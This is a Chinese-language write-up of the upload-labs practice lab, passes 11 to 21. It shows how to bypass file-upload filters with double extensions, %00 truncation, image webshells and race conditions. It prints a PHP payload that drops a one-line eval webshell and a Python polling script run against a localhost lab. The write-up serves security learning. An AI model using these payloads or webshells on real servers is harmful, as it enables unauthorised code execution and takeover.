Pass-11-双写绕过
分析源码我们可以发现这里是将违规的后缀名全部替换成了空,但是他只替换一次,我们可以采用双写绕过。
Pass-12-get%00截断
%00截断的触发条件: 需要php版本<5.3.4,并且magic_quotes_gpc关闭 文件路径可控,比如我可以修改路径拼接的path,抓到的包中存在save_path: uploads/,就可以直接把路径构造成uploads/a.php%00 并将filename修改为a.png
蚁剑连接:
Pass-13-post%00截断
这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单 POST不会对里面的数据自动解码,需要在Hex中修改。 这里我们先标注一下,+的在hex中显示的为2b 在hex中修改后: 可以上传成功了:
Pass-14-图片马
图片马的制作: 可以上传图片马,但我这里就直接burpsuite抓包,在文件头加上GIF89a ,文件后缀改为gif ,也可以上传成功。
直接访问并不能被解析,因此还需要利用文件包含漏洞:
蚁剑连接:
Pass-15-getimagesize()图片马
getimagesize :取得图像大小
这一关使用了getimagesize()来检查文件是否为图片,直接上传图片马,当然了也可以按照上一关的解法加GIF89a : 可以进行文件包含: 蚁剑:
Pass-16-exif_imagetype()图片马
exif_imagetype :判断一个图像的类型
exif_imagetype()读取一个图像的第一个字节并检查其后缀名。 返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。
需要开启php_exif 模块。 绕过方法同上!
Pass-17-二次渲染
这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方(本关多次尝试,可以在winhex下的文件前几行加入一句话木马 ),添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接.
我是用winhex打开之后在文件起始的地方加入了一句话木马,可以正常上传文件
文件包含: 然后用蚁剑连接成功!
Pass-18-条件竞争(一)
本关提示需要代码审计,我们看下代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
move_uploaded_file (PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)
move_uploaded_file — 将上传的文件移动到新位置
说明 move_uploaded_file(string $filename, string $destination): bool 本函数检查并确保由 filename 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 destination 指定的文件。
先通过move_uploaded_file把文件保存了,然后再去判断后缀名是否合法,合法就重命名,如果不合法再删除。重是重点在于,在多线程情况下,就有可能出现还没处理完,我们就访问了原文件,这样就会导致被绕过防护。
1、使用burpsuite一直上传我们写好的文件a.php:
<?php fputs(fopen('stray.php','w'),'<?php @eval($_POST["stray"])?>');?>
2、另一边我们一直用脚本访问a.php文件,一旦可以访问到a.php,就会在文件夹下生成一句话木马文件:stray.php(也就是上面我自己写的那一句话)
import requests
url = "http://127.0.0.1/upload-labs-master/upload/a.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("No")
3、当返回OK时就可以停掉burp了
但我并没有在文件夹下发现stray.php,也就是说我们a.php并没有被执行,stray.php也没有被创建,一直找不到原因。
去搜索了很多博客,照着别人的改,修改了a.php里边的内容: 多加了echo md5(1); ,步骤和上面的一样用bp一直上传文件,另一边用脚本访问我们上传的a.php文件 。然后就可以成功创建木马文件了,就很纳闷。。。。。。有没有大神讲解一下!
<?php echo md5(1);fputs(fopen('stray.php','w'),'<?php @eval($_POST[stray])?>');?>
此时upload下已经有了stray.php,也就是我们写的一句话木马 蚁剑连接,连接密码为stray:
Pass-19-条件竞争(二)
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。
这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。
然后我们要修改一下python脚本,不能再用回第18关的脚本了,这里脚本要修改为文件包含来访问 思路还是和上一关差不多,用bp一直上传文件,另一边运行我们的python脚本,不知道哪里出了问题,就是不能创建文件,先搁置!
Pass-20-%00截断
我们就直接上传一句话木马即可,修改后缀为png或者jpg,在upload-19.php后加上+ 用来当作标识,+ 在hex中表示为2b ,然后将20修改为00 蚁剑连接成功!
Pass-21
随后补充!
|